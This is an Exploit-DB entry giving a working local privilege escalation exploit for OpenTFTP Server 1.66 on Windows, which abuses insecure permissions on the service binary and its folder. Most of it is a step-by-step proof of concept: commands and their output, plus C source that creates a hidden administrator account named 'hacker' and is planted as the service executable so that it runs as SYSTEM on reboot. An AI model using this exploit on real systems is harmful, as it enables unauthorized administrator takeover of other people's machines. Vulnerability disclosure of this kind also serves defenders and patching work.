Exploit-DB #48060
Description: OpenTFTP 1.66 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2020-02-13
Author: boku

Exploit:
# Exploit Title:   OpenTFTP 1.66 - Local Privilege Escalation
# Exploit Author:  boku
# Date: 2020-02-12
# Vendor Homepage: https://sourceforge.net/projects/tftp-server/
# Software Link:   https://sourceforge.net/projects/tftp-server/files/tftp%20server%20single%20port/OpenTFTPServerSPInstallerV1.66.exe/download
# Version:         1.66
# Tested On:       Windows 10 (32-bit)

# About:           
# "MultiThreaded TFTP Server Open Source Freeware Windows/Unix for PXEBOOT, firmware load, support tsize, blksize, timeout Server Port Ranges, 
# Block Number Rollover for Large Files. Runs as Service/daemon. Single Port version also available." 
# Downloads: 43,284 This Week - https://sourceforge.net/projects/tftp-server/

# Vulnerability Details:
# On Windows, Open TFTP Server v1.66, suffers from insecure file & folder permissions. 
# This allows a low-privilge, local attacker to escalate their permissions to Administrator; 
# by replacing the 'TFTPServer' service binary with a maliciously-crafted, binary executable. 
# The TFTP Server runs as an 'Auto_Start' Service, with 'LocalSystem' priviledges, after the 
# default installation. After the attacker has planted the malicious binary, the code will 
# be executed with System priviledges on the next boot of the windows device. See PoC below for details.

## Service Information (there is also an Unquoted Service Path)
C:\>sc qc TFTPServer
SERVICE_NAME: TFTPServer
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\OpenTFTPServer\OpenTFTPServerSP.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Open TFTP Single Port Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

## Insecure Folder Permission
C:\OpenTFTPServer BUILTIN\Administrators:(OI)(CI)(ID)F
                  NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
                  BUILTIN\Users:(OI)(CI)(ID)R
                  NT AUTHORITY\Authenticated Users:(ID)C
                  NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

## Insecure File/Service Permission
C:\OpenTFTPServer\OpenTFTPServerSP.exe BUILTIN\Administrators:(I)(F)
                                       NT AUTHORITY\SYSTEM:(I)(F)
                                       BUILTIN\Users:(I)(RX)
                                       NT AUTHORITY\Authenticated Users:(I)(M)

## Local Privilege Escalation Proof of Concept
#0.  Download & install Open TFTP Server v1.66

#1.  Create low privileged user & change to the user
  C:\Users\lowPrivUser>net user lowprivuser | findstr /i "Membership Name" | findstr /v "Full"
  User name                    lowPrivUser
  Local Group Memberships      *Users
  Global Group memberships     *None
  C:\>whoami
  mycomputer\lowprivuser 

#2.  Move the Service EXE to a new name
  C:\OpenTFTPServer>move OpenTFTPServerSP.exe ~OpenTFTPServerSP.exe
        1 file(s) moved.

#3.  Create malicious binary on kali linux
  1) Download dependencies
   root@kali# apt install gcc-mingw-w64-i686 wine64 -y
  2) Add Admin User C Code
   root@kali# cat addAdmin.c
   #include<windows.h>
   int main(void){
    system("net user hacker mypassword /add");
    system("net localgroup Administrators hacker /add");
    WinExec("C:\\OpenTFTPServer\\~OpenTFTPServerSP.exe",0);
    return 0;
   }
  3) Compile Code
   root@kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o OpenTFTPServerSP.exe

#4. Transfer created 'OpenTFTPServerSP.exe' to the Windows Host 

#5. Move the created 'OpenTFTPServerSP.exe' binary to the 'C:\OpenTFTPServer\' Folder
  C:\>move C:\Users\lowPrivUser\Desktop\OpenTFTPServerSP.exe C:\OpenTFTPServer\
        1 file(s) moved.
  C:\>dir C:\OpenTFTPServer | findstr "OpenTFTPServerSP.exe"
  02/12/2020  05:59 PM           288,659 OpenTFTPServerSP.exe
  02/12/2020  06:38 PM           221,560 ~OpenTFTPServerSP.exe

#6. Reboot the Computer

#7. Look at that new Admin
  C:\Users\lowPrivUser>net users hacker | findstr "Local name active"
  User name                    hacker
  Account active               Yes
  Local Group Memberships      *Administrators       *Users

  C:\Users\lowPrivUser>net localgroup Administrators
  Alias name     Administrators
  Comment        Administrators have complete and unrestricted access to the computer/domain

  Members
  -------------------------------------------------------------------------------
  Administrator
  boku
  hacker